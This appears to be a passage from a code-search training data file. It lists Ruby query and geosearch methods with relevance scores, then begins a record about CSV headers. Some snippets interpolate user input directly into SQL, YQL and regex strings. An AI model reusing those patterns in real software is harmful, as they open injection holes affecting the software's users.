@criteria.programme_id,\n @criteria.end_date,@criteria.programme_id ])\n query\n end",
"def query(tql)\n rid = tql[:rid]\n where = nil\n filter = nil\n if tql.has_key?(:where)\n w = tql[:where]\n where = w.is_a?(Array) ? ExprParser.parse(w) : w\n end\n filter = ExprParser.parse(tql[:filter]) if tql.has_key?(:filter)\n\n if tql.has_key?(:insert)\n insert(tql[:insert], rid, where, filter)\n elsif tql.has_key?(:update)\n update(tql[:update], rid, where, filter)\n elsif tql.has_key?(:delete)\n delete(tql[:delete], rid, where, filter)\n else\n select(tql[:select], rid, where, filter)\n end\n end",
"def discover\n choria.pql_query(@query, true)\n end",
"def search\n dogpark = Dogpark.near(\n params[:postcode] + ', NSW Australia',\n params[:radius] || 10,\n units: :km\n )\n\n #if not radius not specified, params radius returns nil\n #||Because we have 5, if the radius is empty, it will default to the 5 because of the logic of the || \"or\" expression. \"or\" will always evaluate to the truthy thing.\n render json: dogpark.to_json\n end",
"def get_yql_query(place, options = '*')\n return %{\n select #{options}\n from weather.forecast\n where woeid in (\n select woeid from geo.places(1)\n where text=\"#{place}\" limit 1\n ) and u='c' limit 1\n }\n end",
"def construct_query(ids)\n # Some descendants of ActiveFedora::Base are anonymous classes. They don't have names. Filter them out.\n candidate_classes = klass.descendants.select(&:name)\n candidate_classes += [klass] unless klass == ActiveFedora::Base\n model_pairs = candidate_classes.each_with_object([]) { |klass, arr| arr << [:has_model, klass.to_class_uri] }\n '(' + ActiveFedora::SolrQueryBuilder.construct_query_for_ids(ids) + ') AND (' +\n ActiveFedora::SolrQueryBuilder.construct_query_for_rel(model_pairs, 'OR') + ')'\n end",
"def request_params_to_query\n layers = \"7,6,8,9\"\n bboxSR = 4326\n # imageSR corresponds to GoogleMaps spatial reference\n imageSR = 3857\n dpi = 96\n {\n \"dpi\"=> dpi,\n \"transparent\"=>\"true\",\n \"format\"=>\"png8\",\n \"layers\"=>\"show:#{layers}\",\n \"bbox\"=> format_bounds(self.bounds),\n \"bboxSR\"=> bboxSR,\n \"imageSR\"=> imageSR,\n \"size\"=> self.size,\n \"f\"=>\"image\"\n }.to_query\n end",
"def search_for(keywords, options = {})\n bounds = options[:specific] || options[:bounds]\n keywords = '*:*' if keywords.blank?\n logger.debug \"Search Query: #{spatial_query(bounds)}#{keywords}\"\n solr_server.find(\"#{spatial_query(bounds)}#{keywords}\", options.merge(:results => Atlas::Extensions::Place::PlaceResults))\n end",
"def near(coll, query)\n field = query.keys.first\n location = query.values.first\n @db[coll].find(field => { \"$near\" => location })\n end",
"def map # :nologin: :norobots:\n pass_query_params\n if @name = find_or_goto_index(Name, params[:id].to_s)\n @query = create_query(:Observation, :of_name, :name => @name)\n @observations = @query.results.select {|o| o.lat or o.location}\n end\n end",
"def id_to_query(id)\n {query: \"thereExistsUserString1().equalTo(\\\"#{id}\\\")\"}\n end",
"def raw_query\n @raw_query\n end",
"def make_query\n run_callbacks :make_query do\n self.scope.search(get_query_params)\n end\n end",
"def build_centroids\n #sql = \"SELECT b.ogc_fid as id, ST_AsGeoJSON(ST_centroid(b.wkb_geometry)) as geo FROM buildings b\"\n sql = \"SELECT b.ogc_fid as id,\n st_x(st_transform(ST_Centroid(b.wkb_geometry),4326)) as lng,\n st_y(st_transform(ST_Centroid(b.wkb_geometry),4326)) as lat\n FROM buildings b;\"\n result_set = ActiveRecord::Base.connection.execute(sql)\n results = {}\n\n result_set.each do |row|\n results[row['id']] = [row['lng'],row['lat']]\n end\n results\n end",
"def query(q)\n gql(prepare: true).query(q)\n end",
"def find\n self.db.query(\"\n select * \n from dogs\n \")\n end",
"def get_query\n \n # Get query parameters passed\n query_params = request.query_parameters\n \n # Initialize query with country from route\n query = {'country' => params[:country]}\n \n # Allowed search terms, only these keys are searchable \n search_keys = ['name', 'a_id', 'pub_id', 'device', 'min_price', 'max_price',\n 'pub_name', 'min_app_rating', 'max_app_rating',\n 'category', 'sub_category', 'interests_only']\n \n # Iterate through the keys, determine if the params match the key and if so \n # add a condition to the query\n search_keys.each do |key|\n param = query_params[key]\n \n # Make sure the parameter is defined \n next unless param\n \n #logger.info('key %s, param %s' % [key, param])\n \n # handlers for different keys\n case key\n when 'a_id', 'pub_id'\n # IDs are floats so convert\n query[key] = query_params[key].to_f\n when 'name', 'pub_name'\n # Do regex match on names so you can match substring\n query[key] = /#{query_params[key]}/\n when 'min_price'\n query['amount'] = {} unless query['amount']\n query['amount'][:$gte] = param.to_f\n when 'max_price'\n query['amount'] = {} unless query['amount']\n query['amount'][:$lte] = param.to_f\n when 'min_app_rating'\n query['total_average_rating'] = {} unless query['total_average_rating']\n query['total_average_rating'][:$gte] = param.to_f\n when 'max_app_rating'\n query['total_average_rating'] = {} unless query['total_average_rating']\n query['total_average_rating'][:$lte] = param.to_f\n when 'interests_only'\n interest_query = []\n param.split(',').each do |interest|\n interest_query << {:interests => interest}\n end\n # And filter only the apps that have either one of the interests\n query[:$and] = [{:$or => interest_query}]\n else\n # Deals with all the parameters that are specified and match with\n # the model attributes\n query[key] = param\n end\n end\n \n return query\n end",
"def locations_within_proximity\n field.locations.where( x_coordinate: x_proximity,\n y_coordinate: y_proximity )\n end",
"def query_type_to_clause_params()\n where_clause = nil\n sql_parameters = []\n qextra = false\n all_query = false\n\n type = self.type\n query = self.query\n if type == 'All'\n all_query = true\n elsif type == 'None'\n where_clause = '1=0'\n elsif type == 'Date'\n where_clause = \"(Begin_Date REGEXP ? OR EndDate REGEXP ?)\"\n sql_parameters << query\n sql_parameters << query\n elsif type == 'after'\n where_clause = \"Begin_Date > ?\"\n sql_parameters << query\n elsif type == 'before'\n where_clause = \"EndDate < ?\"\n sql_parameters << query\n elsif type == 'parameter'\n where_clause = \"`bottle_dbs`.`parameters` LIKE ?\"\n sql_parameters << \"%#{query}%\"\n qextra = 'params'\n elsif type == 'basin'\n where_clause = \"spatial_groups.`#{query}` = 1\"\n qextra = 'spatial_group'\n elsif type == 'Chief_Scientist'\n where_clause = \"contacts.LastName LIKE ?\"\n sql_parameters << \"%#{query}%\"\n qextra = 'contacts'\n else\n if @@cruise_columns.include?(type)\n where_clause = \"`cruises`.`#{type}` REGEXP ?\"\n sql_parameters << query\n else\n Rails.logger.debug(\"Search: unrecognized type #{type}\")\n where_clause = nil\n end\n end\n [where_clause, sql_parameters, qextra, all_query]\n end",
"def run_query()\n return nil unless @query\n \n gres = @query.execute()\n if @filterClass \n fres = @filterClass.filter(gres)\n res = fres.kind_of?(Array) ? fres.join(\"\\n\") : fres.to_s\n elsif @filterBlock \n fres = @filterBlock.call(gres)\n res = fres.kind_of?(Array) ? fres.join(\"\\n\") : fres.to_s\n else\n res = fres.result_s\n end\n res\n end",
"def check_query\n self.query\n end",
"def movies_and_theaters_near_zip(radius_in_miles)\n s_function='miles_between_lat_long(' + self.lat.to_s + ',' + self.lng.to_s + ',theaters.latitude,theaters.longitude)'\n Movie.all(:include=>[:theaters], :joins=>[:theaters], :conditions=> s_function + '<' + radius_in_miles.to_s, :order=>s_function)\n end",
"def areas_by_radius(lat, lon, radius_meters)\n #get min/max latitude and longitude of radius around point\n min_lat, min_lon, max_lat, max_lon = radius_box = bounding_box(lat, lon, radius_meters)\n\n #estimate the size of boxes to target\n steps = estimate_steps_by_radius(radius_meters)\n #re-encode point using steps\n #the geohashes are composed of 32 distinct numbers/letters, basically base 32\n #bits are composed of 1s and 0s, base 2 or binary\n #steps is the length of the binary number for longitude and latitude, and the combined length of the binary string (which interleaves both the longitude and latitude) is 2*steps\n # since 32 is 2^5, while 2 is 2^1, the length of a base 32 number will be the length of a binary number divided by 5 and plus 1 (32 base 10 = 10000 base 2 = 10 base 32).\n str_len = steps*2/5 + 1\n hash = encode(lat, lon, str_len)\n\n #get neighbors of box\n neighbors = neighbors(hash)\n neighbors_neighbors = neighbors.each_with_object([]) {|neighbor, nb| nb << neighbors(neighbor)}\n\n # 25 geohashes surrounding the original\n nb = neighbors_neighbors.flatten.uniq\n\n # remove those geohashes that are outside the bounding box\n nb.each do |neighbor|\n n_latlng_low, n_latlng_high = decode(neighbor)\n if n_latlng_low[0] > max_lat or n_latlng_low[1] > max_lon or n_latlng_high[0] < min_lat or n_latlng_high[1] < min_lon\n nb -= [neighbor]\n end\n end\n\n #return remaining neighbor list\n nb\n end",
"def tweets_near lat, long, radius, count\n\n\t\tsearch_params = { geocode: \"#{lat.to_s},#{long.to_s},#{radius.to_s}mi\", count: count.to_i, result_type: \"recent\" }\n\t\tsearch_result = Twitter.search(\"\", search_params)\n\n\t\tsearch_result.statuses\n\n\tend",
"def pioQuery\n client.query(current_company.user => 4)\n end",
"def reservation_search_in_process(limit, offset, today)\n extra_condition = \"WHERE b.status in (2,3) and b.date_from <= ? and date_to >= ?\" \n repository.adapter.select(query_strategy.query_reservation_search(limit, offset, extra_condition), today, today)\n end",
"def index\r\n @query_params = {}\r\n build_query_params(params)\r\n build_query_round_params\r\n\r\n @conditions = []\r\n @conditions << Round.arel_table[:name].matches(\"%#{@query_params[:name]}%\") if @query_params[:name]\r\n\r\n if @conditions.length > 0\r\n conditions = @conditions[0]\r\n @conditions.each_with_index do |item, index|\r\n conditions = conditions.or(item) if index > 0\r\n end\r\n @conditions = conditions\r\n end\r\n\r\n respond_to do |format|\r\n format.html { set_rounds_grid(@conditions) }\r\n format.json { render json: Round.where(@conditions) }\r\n end\r\n end",
"def approx_near_scope_options(latitude, longitude, radius, options)\n lat_attr = geocoder_options[:latitude]\n lon_attr = geocoder_options[:longitude]\n {\n :conditions => \\\n [\"#{lat_attr} BETWEEN ? AND ? AND #{lon_attr} BETWEEN ? AND ?\"] +\n coordinate_bounds(latitude, longitude, radius),\n :order => options[:order],\n :limit => limit_clause(options)\n }\n end",
"def getNodeCoordinateRange(domain = \"grid\")\n qs = <<END_QS1\nSELECT x_max, y_max, z_max\n FROM testbeds\nWHERE node_domain = '#{domain}'\nEND_QS1\n \n result = Array.new\n runQuery(qs) { |x, y, z| \n result.push(x) \n result.push(y) \n result.push(z)\n }\n return result\n end",
"def cost_query_where\n \"\"\n end",
"def search_place\n @radius = @params[:radius] if @params[:radius].present?\n @type = @params[:type] if @params[:type].present?\n if @params[:filters].present?\n places=HTTParty.get(\"https://maps.googleapis.com/maps/api/place/nearbysearch/json?location=#{@params[:lat]},#{@params[:lng]}&key=#{ENV['GOOGLE_PLACES_KEY']}&name=\"+@params[:filters]+\"&radius=#{@radius}&type=#{@type}\")\n else\n places=HTTParty.get(\"https://maps.googleapis.com/maps/api/place/nearbysearch/json?location=#{@params[:lat]},#{@params[:lng]}&key=#{ENV['GOOGLE_PLACES_KEY']}&radius=#{@radius}&type=#{@type}\")\n end\n places[\"results\"] \n end",
"def reservation_search(limit, offset)\n repository.adapter.select(query_strategy.query_reservation_search(limit, offset))\n end",
"def initial_query; end",
"def search(query)\n price_range = (query[:price_min]..query[:price_max])\n result = PRODUCTS.select do |product|\n price_range.cover?(product[:price]) && \n product[:name].downcase.include?(query[:q])\n end\n result\nend",
"def map_observations # :nologin: :norobots:\n @query = find_or_create_query(:Observation)\n @title = :map_locations_title.t(locations: @query.title)\n @query = restrict_query_to_box(@query)\n @timer_start = Time.now\n\n # Get matching observations.\n locations = {}\n columns = %w(id lat long location_id).map { |x| \"observations.#{x}\" }\n args = {\n select: columns.join(\", \"),\n where: \"observations.lat IS NOT NULL OR \" \\\n \"observations.location_id IS NOT NULL\"\n }\n @observations = @query.select_rows(args).map do |id, lat, long, location_id|\n locations[location_id.to_i] = nil unless location_id.blank?\n MinimalMapObservation.new(id, lat, long, location_id)\n end\n\n if locations.length > 0\n # Eager-load corresponding locations.\n @locations = Location.connection.select_rows(%(\n SELECT id, name, north, south, east, west FROM locations\n WHERE id IN (#{locations.keys.sort.map(&:to_s).join(\",\")})\n )).map do |id, name, n, s, e, w|\n locations[id.to_i] = MinimalMapLocation.new(id, name, n, s, e, w)\n end\n @observations.each do |obs|\n obs.location = locations[obs.location_id] if obs.location_id\n end\n end\n @num_results = @observations.count\n @timer_end = Time.now\n end"
] | [
"0.66721064",
"0.6290936",
"0.6258394",
"0.5966861",
"0.5930464",
"0.58599156",
"0.58520883",
"0.58520883",
"0.578433",
"0.57698905",
"0.5769563",
"0.5767218",
"0.57570136",
"0.57149935",
"0.56479704",
"0.56172335",
"0.55662376",
"0.55237085",
"0.55153334",
"0.5510968",
"0.54815036",
"0.54663694",
"0.546552",
"0.5438125",
"0.5428272",
"0.54112554",
"0.54000765",
"0.5396643",
"0.5384949",
"0.53675497",
"0.5361542",
"0.53597105",
"0.53431225",
"0.5334329",
"0.5298902",
"0.52909064",
"0.5257783",
"0.5248228",
"0.52412784",
"0.5235177",
"0.5222856",
"0.5199405",
"0.5194783",
"0.5193547",
"0.5193352",
"0.51732254",
"0.5151033",
"0.5151033",
"0.5136307",
"0.512202",
"0.5110822",
"0.50975585",
"0.5091072",
"0.5087282",
"0.5086742",
"0.5082101",
"0.5077592",
"0.5070806",
"0.5060092",
"0.50595766",
"0.50573504",
"0.50536776",
"0.50535005",
"0.5030654",
"0.503004",
"0.50243056",
"0.5011801",
"0.501079",
"0.5009034",
"0.50067884",
"0.5001624",
"0.4996365",
"0.4986416",
"0.4985411",
"0.4968645",
"0.49645153",
"0.4962474",
"0.49623755",
"0.49586347",
"0.49568057",
"0.49282587",
"0.49234942",
"0.4915254",
"0.49135998",
"0.49130863",
"0.49079457",
"0.4900967",
"0.48993045",
"0.48991215",
"0.48910263",
"0.48842865",
"0.48752946",
"0.4873419",
"0.48706162",
"0.48610875",
"0.4860119",
"0.4852023",
"0.48477304",
"0.48467678",
"0.48374224",
"0.48337114"
] | 0.0 | -1 |
update modification attributes (changed_by, etc.) Override in descendant classes | def modified_by(user)
#none by default
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def update(attrs)\n super(attrs)\n end",
"def update(attrs)\n super(attrs)\n end",
"def update(attrs)\n super(attrs)\n end",
"def update(attrs)\n super(attrs)\n end",
"def modify\n super\n end",
"def update_attributes(attrs)\n super({})\n end",
"def change\n attributes.fetch(:change)\n end",
"def remote_update(*)\n super(changed)\n end",
"def define_attribute_methods\n define_method :saved_changes do\n (@previously_changed ||= ActiveSupport::HashWithIndifferentAccess.new).merge(super())\n end\n\n @attribute_names.each do |name|\n define_method :\"saved_change_to_#{name}?\" do\n previous_changes.include?(Mobility.normalize_locale_accessor(name))\n end\n\n define_method :\"saved_change_to_#{name}\" do\n previous_changes[Mobility.normalize_locale_accessor(name)]\n end\n\n define_method :\"#{name}_before_last_save\" do\n previous_changes[Mobility.normalize_locale_accessor(name)].first\n end\n\n alias_method :\"will_save_change_to_#{name}?\", :\"#{name}_changed?\"\n alias_method :\"#{name}_change_to_be_saved\", :\"#{name}_change\"\n alias_method :\"#{name}_in_database\", :\"#{name}_was\"\n end\n end",
"def update\n super\n end",
"def override\n attributes.override\n end",
"def alter_for_changes\n # attributes changes\n if @attributes_before_change\n alter_for.altered_attribute_names.each {|attribute|\n before = @attributes_before_change[attribute]\n after = alter_for.send(attribute)\n next if before == after || (before.blank? && after.blank?)\n add_attribute_detail(attribute, before, after)\n }\n end\n start\n end",
"def before_update\n# @line_item.name = \"foo\"\n end",
"def update\n super\n end",
"def update\n super\n end",
"def update\n super\n end",
"def update\n super\n end",
"def before_update; end",
"def log_attr_changes(obj)\n pre_update_attrs = obj.attributes.clone\n yield obj\n ADMIN_AUDIT_LOG.info([\n current_user.try(:login_name),\n \"#{obj.class.name}<#{obj.id}>\",\n \"new:#{Hash[obj.attributes.select{|k, v| pre_update_attrs[k] != v}].inspect}\",\n \"old:#{Hash[pre_update_attrs.select{|k, v| obj.attributes[k] != v}].inspect}\",\n ].compact.join(' '))\n end",
"def changed_attributes\r\n attributes = HashWithIndifferentAccess.new\r\n \r\n if self.edited\r\n %w{rate name}.each do |attr|\r\n if self.different?(attr)\r\n attributes[attr] = self.send(attr)\r\n end\r\n end\r\n end\r\n attributes\r\n end",
"def stamp_changed\n return unless changed?\n\n self.dateChanged = Time.now\n self.changedBy = ApplicationController.application_name\n end",
"def update_info(update_attr_hash)\n update_attr_hash.each do |k,v| \n\t\t\tself.send(\"#{k}=\",v)\n\t\tend\n end",
"def update_attributes(attrs)\n nattrs = attrs.reduce({}) do |acc, a|\n ak, av = a\n case ak\n when :list, :listed_object, :owner\n else\n acc[ak] = av\n end\n\n acc\n end\n\n super(nattrs)\n end",
"def update_attribute\n end",
"def update(time)\n # TODO maybe use a callback list for child classes\n update_behaviors time\n end",
"def updated_data; end",
"def visiblity_changed\n # ::Deepblue::LoggingHelper.bold_debug [ Deepblue::LoggingHelper.here,\n # Deepblue::LoggingHelper.called_from,\n # Deepblue::LoggingHelper.obj_class( 'class', self ),\n # \"\" ]\n @update_attr_key_values = curation_concern.provenance_log_update_before( form_params: params[PARAMS_KEY].dup )\n if visibility_to_private?\n mark_as_set_to_private\n elsif visibility_to_public?\n mark_as_set_to_public\n end\n end",
"def version_attributes\n super.merge(:user => updated_by)\n end",
"def visiblity_changed\n # ::Deepblue::LoggingHelper.bold_debug [ Deepblue::LoggingHelper.here,\n # Deepblue::LoggingHelper.called_from,\n # Deepblue::LoggingHelper.obj_class( 'class', self ),\n # \"\" ]\n @update_attr_key_values = curation_concern.provenance_log_update_before( form_params: params[PARAMS_KEY].dup )\n if visibility_to_private?\n mark_as_set_to_private\n elsif visibility_to_public?\n mark_as_set_to_public\n end\n end",
"def can_modify\n\t\tself.changed_attributes.each do |attr|\n\n\t\t\tif attr.to_s == \"reports\"\n\t\t\t\tself.reports.each do |r|\n\t\t\t\t\tunless r.changed_attributes.blank?\n\t\t\t\t\t\tif r.owner_ids.include? self.created_by_user_id\n\t\t\t\t\t\telsif r.owner_ids.include? self.created_by_user.organization.id.to_s\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tself.errors.add(:reports,\"You cannot edit #{attr.name.to_s}\")\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\n\t\t\telsif attr.to_s == \"recipients\"\n\t\t\t\trecipients_changed\n\t\t\telsif attr.to_s == \"payments\"\n\t\t\t\told_payment_not_deleted\n\t\t\telse\n\t\t\t\t## only in case of \n\t\t\t\tif self.owner_ids.include? self.created_by_user.id.to_s\n\t\t\t\telsif self.owner_ids.include? self.created_by_user.organization.id.to_s\n\t\t\t\telse\n\t\t\t\t\tself.errors.add(:owner_ids,\"You cannot edit the field: #{attr.to_s}\")\n\t\t\t\tend\n\t\t\tend\n\n\t\tend\n\tend",
"def test_modified\n parent = RoBaseIf.new( 'parent', '' )\n base = RoBaseIf.new( 'lab1', '' )\n base.parent = parent\n assert_equal false, parent.modified\n assert_equal false, base.modified\n base.value = 'A'\n assert_equal true, parent.modified\n assert_equal true, base.modified\n end",
"def reset_persistence_values\n self.id = nil\n\n if respond_to?(:updated_at=)\n self.updated_at = nil\n self.updated_at_will_change!\n end\n\n if respond_to?(:created_at=)\n self.created_at = nil\n self.created_at_will_change!\n end\n\n # mark all other attributes is changing\n (attributes.keys - changes.keys).each{ |key| self.send(:\"#{key}_will_change!\") }\n end",
"def attribute_changed_value_message=(_arg0); end",
"def attribute_changes\n attributes.changes.merge(\"comment\" => attributes[\"comment\"])\n end",
"def before_update_save(record); end",
"def changed_attributes\n @_hr_changed.select{|k,v| v}.keys.inject({}) {|h,k| h[k]=self[k]; h}\n end",
"def adjust_for_attributes(clazz)\n # BaptismalCertificate includes updating includes 3 attributes from CandidateSheet\n # this handles those attributes.\n if clazz == BaptismalCertificate\n bc = @candidate.baptismal_certificate\n if (bc.show_empty_radio == 1 || bc.show_empty_radio == 2) && !bc.baptized_at_home_parish?\n candidate_info_sheet_event = @candidate.get_candidate_event(CandidateSheet.event_key)\n candidate_info_sheet_event.mark_completed(@candidate.validate_event_complete(CandidateSheet),\n CandidateSheet)\n @candidate.keep_bc_errors\n candidate_info_sheet_event.save\n # TODO: what happens here of if save fails\n end\n end\n # SponsorEligibility includes updating includes 1 attributes from SponsorCovenant\n # this handles that attribute.\n return unless clazz == SponsorEligibility\n\n candidate_info_covenant_event = @candidate.get_candidate_event(SponsorCovenant.event_key)\n candidate_info_covenant_event.mark_completed(@candidate.validate_event_complete(SponsorCovenant),\n clazz)\n @candidate.keep_sponsor_name_error\n candidate_info_covenant_event.save\n # TODO: what happens here of if save fails\n end",
"def editable_attribute_names; super + additional_fields end",
"def editable_attribute_names; super + additional_fields end",
"def editable_attribute_names; super + additional_fields end",
"def update\n \n end",
"def update!(**args)\n @derived_from = args[:derived_from] if args.key?(:derived_from)\n @replaced_by = args[:replaced_by] if args.key?(:replaced_by)\n end",
"def updated_data\n\tend",
"def method_missing(method, *args, &block)\n attribute = method.to_s\n\n if attribute =~ /=$/ # Define property -- does not have to exist\n attribute = attribute.chop\n self.changed_attributes[attribute] = args[0]\n self.attributes[attribute] = args[0]\n else\n return super unless self.attributes.include?(attribute)\n self.attributes[attribute]\n end \n \n end",
"def audit_update\n self.modified_date = DateTime.now\n if self.created_date.blank?\n self.created_date = DateTime.now\n end\n end",
"def notify_attribute_changes\n ignore = [\"updated_at\", \"user_id\"]\n changed.each do |property|\n delta = changes[property]\n event_name = \"user_update_item_#{property}\" \n ActivityLogger.send(event_name, :from => self.user, :for => [self], :changes => delta) unless ignore.include? property\n end \n end",
"def notify_attribute_changes\n ignore = [\"updated_at\", \"user_id\"]\n changed.each do |property|\n delta = changes[property]\n event_name = \"user_update_item_#{property}\" \n ActivityLogger.send(event_name, :from => self.user, :for => [self], :changes => delta) unless ignore.include? property\n end \n end",
"def attribute_change(attr)\n [changed_attributes[attr], __send__(attr)] if attribute_changed?(attr)\n end",
"def modified?; end",
"def set_whats_changed\n\n self.post_nodes.each do |post_node|\n if post_node.node.attributes[:_changed]\n post_node.attributes[:_changed] = true\n end\n\n if post_node.node.attributes[:_should_destroy]\n post_node.attributes[:_should_destroy] = true\n end\n end\n\n self.post_thumbs.each do |post_thumb|\n if post_thumb.node.attributes[:_changed]\n post_thumb.attributes[:_changed] = true\n end\n\n if post_thumb.node.attributes[:_should_destroy]\n post_thumb.attributes[:_should_destroy] = true\n end\n end\n\n end",
"def update_inherited_members\n if parent\n if inherit_members? && !inherit_members_before_last_save\n remove_inherited_member_roles\n remove_inherited_member_functions # PATCH\n add_inherited_member_roles\n add_inherited_member_functions # PATCH\n elsif !inherit_members? && inherit_members_before_last_save\n remove_inherited_member_roles\n remove_inherited_member_functions # PATCH\n end\n end\n end",
"def update\n raise NotImplementedError\n end",
"def update\n raise NotImplementedError\n end",
"def update\n raise NotImplementedError\n end",
"def updatable_attributes\n [:name]\n end",
"def altered()\n puts \"CHILD, BEFORE PARENT altered()\"\n super()\n puts \"CHILD, AFTER PARENT altered()\"\n end",
"def changed_attributes(update_value, student)\n\t\t@change_attribute= update_value.keys\n\t\t@change_attribute.each do |key|\n\t\t\tActivity.create_activity(\"update #{key} from #{update_value[key][0]} to #{update_value[key][1]}\", student)\n\t\tend\n\tend",
"def update\n raise NotImplementedError\n end",
"def after_update_save(record); end",
"def mark_changed\n self.last_changed = Time.now\n end",
"def attribute_will_change!(attr)\n begin\n value = __send__(attr)\n value = value.duplicable? ? value.clone : value\n rescue TypeError, NoMethodError\n end\n\n changed_attributes[attr] = value\n end",
"def visiblity_changed\n # ::Deepblue::LoggingHelper.bold_debug [ Deepblue::LoggingHelper.here,\n # Deepblue::LoggingHelper.called_from,\n # Deepblue::LoggingHelper.obj_class( 'class', self ),\n # \"\" ] if hyrax_my_collections_controller_debug_verbose\n @update_attr_key_values = curation_concern.provenance_log_update_before( form_params: params[PARAMS_KEY].dup )\n if visibility_to_private?\n mark_as_set_to_private\n elsif visibility_to_public?\n mark_as_set_to_public\n end\n end",
"def attribute_changes\n attributes.changes\n end",
"def write_changed_attributes\n @properties.each do |attribute, value|\n write_attribute(attribute, value) if changed_attributes.has_key?(attribute)\n end\n end",
"def update\n raise NotImplementedError\n end",
"def modified_properties=(value)\n @modified_properties = value\n end",
"def changed_by=(value)\n @changed_by = value\n end",
"def after_update(updated)\n # not required\n end",
"def changed(attribute_name)\n end",
"def attr_writer( * )\n fail \"Remember, an Entity is immutable. Use a Services::Service to mutate the underlying data.\"\n end",
"def update_received_modified\n self.received_at = Time.now if received_changed?\n end",
"def update; end",
"def update; end",
"def update; end",
"def update; end",
"def update; end",
"def update; end",
"def update; end",
"def update; end",
"def dirty_attributes\n changed.inject({}) { |h, k| h[k] = attributes[k.to_s]; h }\n end",
"def on_update; end",
"def inherited(subclass)\n super\n subclass.attributes = attributes.dup\n end",
"def before_save(model)\n model.updated_by = @@current_user if model.respond_to?(\"updated_by\")\n end",
"def changed(_data)\n raise NotImplementedError.new\n end",
"def write_changed_attributes\n @_properties.each do |attribute, value|\n write_property_from_db(attribute, value) if changed_attributes.has_key?(attribute)\n end\n end",
"def altered()\n puts \"CHILD, BEFORE PARENT altered()\" \n super() # calls the super function so the program will use the function defined in the parent class\n puts \"CHILD, AFTER PARENT altered()\"\n end",
"def _change\n @save_mixin.json_dict = @json_dict\n @save_mixin._deleted = @_deleted\n @save_mixin._change\n @json_dict = @save_mixin.json_dict\n end",
"def _update(*)\n fail NotImplementedError\n end",
"def update_attributes(attrs)\n result = nil\n obj = self.strip_braces(self.object)\n self.instance_variables.each do |method|\n method = method.to_s.gsub(/@/,\"\")\n val = self.send method.to_sym\n # Don't save objects with braces to database\n new_val = attrs[method]\n # if the object's value doesn't match the database record\n # then we procede with update\n if new_val and val != new_val\n unless self.method_name_reserved?(method) or new_val.length == 0\n # update viewable list\n result = Rhom::RhomDbAdapter::update_into_table(Rhom::TABLE_NAME,\n {\"value\"=>new_val},\n {\"object\"=>obj, \"attrib\"=>method})\n # update sync list\n result = Rhom::RhomDbAdapter::insert_into_table(Rhom::TABLE_NAME,\n {\"source_id\"=>self.get_inst_source_id,\n \"object\"=>obj,\n \"attrib\"=>method,\n \"value\"=>new_val,\n \"update_type\"=>'update'})\n end\n end\n end\n result\n end",
"def SetModified\n @modified = true\n\n nil\n end",
"def SetModified\n @modified = true\n\n nil\n end",
"def SetModified\n @modified = true\n\n nil\n end",
"def SetModified\n @modified = true\n\n nil\n end",
"def update ; end",
"def set_additional_values(object, override)\n override.class.attributes.each do |o|\n object.instance_variable_set(\"@#{o}\", override[o])\n object.define_singleton_method(o.to_sym) { instance_variable_get(\"@#{o}\") }\n end\n end",
"def update(*)\n assert_source_saved 'The source must be saved before mass-updating the collection'\n super\n end",
"def update(*)\n assert_source_saved 'The source must be saved before mass-updating the collection'\n super\n end",
"def update_attributes(params = {})\n super validate_attributes(params)\n end",
"def update(attributes = {})\n super(attributes)\n retrieve!\n self\n end",
"def save_state_as_change!(attributes={})\n @cached_recordable_attributes = { 'attributes' => {}, 'associations' => {} }\n self.write_changes!(attributes)\n end",
"def update_attributes!(attributes)\n super(mark_for_destruction(attributes))\n end"
] | [
"0.7094489",
"0.7094489",
"0.7094489",
"0.7094489",
"0.70514035",
"0.6626404",
"0.64937556",
"0.6460717",
"0.6423039",
"0.63254476",
"0.62903",
"0.6280143",
"0.6265232",
"0.6214112",
"0.6214112",
"0.6214112",
"0.6214112",
"0.6194792",
"0.61677366",
"0.6152287",
"0.6129018",
"0.61185575",
"0.6106607",
"0.6085844",
"0.605769",
"0.60559654",
"0.6038406",
"0.60339963",
"0.6031536",
"0.6018696",
"0.6014684",
"0.5997731",
"0.599615",
"0.5980839",
"0.5969011",
"0.5964805",
"0.59633976",
"0.59602237",
"0.59602237",
"0.59602237",
"0.5954336",
"0.5952723",
"0.5947681",
"0.59435993",
"0.5942881",
"0.59425354",
"0.59425354",
"0.5941255",
"0.5939285",
"0.5936314",
"0.5929697",
"0.5915271",
"0.5915271",
"0.5911255",
"0.59039354",
"0.5902556",
"0.58846194",
"0.58757037",
"0.5871172",
"0.58682245",
"0.5865844",
"0.58575076",
"0.585577",
"0.58503586",
"0.5846715",
"0.58455503",
"0.5830958",
"0.58308744",
"0.5830871",
"0.58204925",
"0.58064723",
"0.58034664",
"0.58034664",
"0.58034664",
"0.58034664",
"0.58034664",
"0.58034664",
"0.58034664",
"0.58034664",
"0.579241",
"0.57902616",
"0.5789699",
"0.5784557",
"0.5781148",
"0.5780553",
"0.5776367",
"0.5776104",
"0.57716596",
"0.5761889",
"0.5758888",
"0.5758888",
"0.5758888",
"0.5758888",
"0.5757675",
"0.57556635",
"0.57541233",
"0.57541233",
"0.57516414",
"0.5751356",
"0.5743606",
"0.5734525"
] | 0.0 | -1 |
header for CSV export | def csv_header
#empty by default
[]
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def write_header csv = nil\n csv << indices\n end",
"def csv_header(*columns)\n csv.start(columns.flatten)\n end",
"def csv_header\n [\n 'project key',\n 'key',\n 'summary',\n 'description',\n 'issue type',\n 'epic name'\n ]\n end",
"def csv_headers\n raise NotImplementedError\n end",
"def mark_csv_headers\n \"Username,Name,Tutorial,Task,ID,Student's Last Comment,Your Last Comment,Status,New Grade,New Comment\"\n end",
